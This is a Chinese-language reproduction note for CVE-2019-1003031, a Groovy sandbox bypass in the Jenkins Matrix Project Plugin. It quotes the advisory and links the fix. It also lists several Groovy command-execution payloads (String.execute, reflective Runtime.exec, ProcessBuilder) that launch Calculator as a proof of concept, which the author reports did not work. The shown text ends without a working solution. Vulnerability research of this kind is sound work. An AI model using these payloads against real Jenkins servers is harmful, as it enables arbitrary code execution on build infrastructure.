CVE-2019-1003031：Matrix Project Plugin sandbox绕过

影响版本：Matrix Project Plugin <= 1.13
修复建议：升级到1.14或以上
来源：
https://nvd.nist.gov/vuln/detail/CVE-2019-1003031

官方公告描述：

Matrix Project Plugin supports a sandboxed Groovy expression to filter matrix combinations. Its sandbox protection could be circumvented during parsing, compilation, and script instantiation by providing a crafted Groovy script.
This allowed users able to configure a Matrix project to bypass the sandbox protection and execute arbitrary code on the Jenkins master.

https://jenkins.io/security/advisory/2019-03-06/#SECURITY-1339
中文描述可以参考cnnvd：
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201903-299
插件官方diff：
https://github.com/jenkinsci/matrix-project-plugin/commit/765fc39694b31f8dd6e3d27cf51d1708b5df2be7

参考：
https://plugins.jenkins.io/matrix-project
https://wiki.jenkins.io/display/JENKINS/Building+a+matrix+project
https://wiki.jenkins.io/display/JENKINS/Script+Security+Plugin
Groovy脚本参考：
https://issues.jenkins-ci.org/browse/JENKINS-49350

先是使用payload：

(label=="solaris").implies(compiler=="/Applications/Calculator.app/Contents/MacOS/Calculator".execute().text)

然后得到：

No such property: label for class: groovy.lang.Binding

然后使用payload：

println "/Applications/Calculator.app/Contents/MacOS/Calculator".execute().text

得到

又尝试了

("".getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("/Applications/Calculator.app/Contents/MacOS/Calculator"))==""

和

(new java.lang.ProcessBuilder("/Applications/Calculator.app/Contents/MacOS/Calculator").start())==""

依然不可以：

然后google了一下，找到这些答案：

---

剩下的参考：
https://xz.aliyun.com/t/5270